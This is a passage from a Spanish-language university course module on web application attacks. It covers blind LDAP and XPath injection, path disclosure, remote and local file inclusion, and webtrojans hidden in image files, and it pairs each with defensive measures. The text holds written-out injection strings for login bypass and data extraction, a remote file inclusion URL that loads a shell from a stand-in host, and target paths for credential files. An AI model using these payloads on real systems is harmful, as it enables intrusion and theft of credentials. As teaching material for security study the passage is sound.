(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
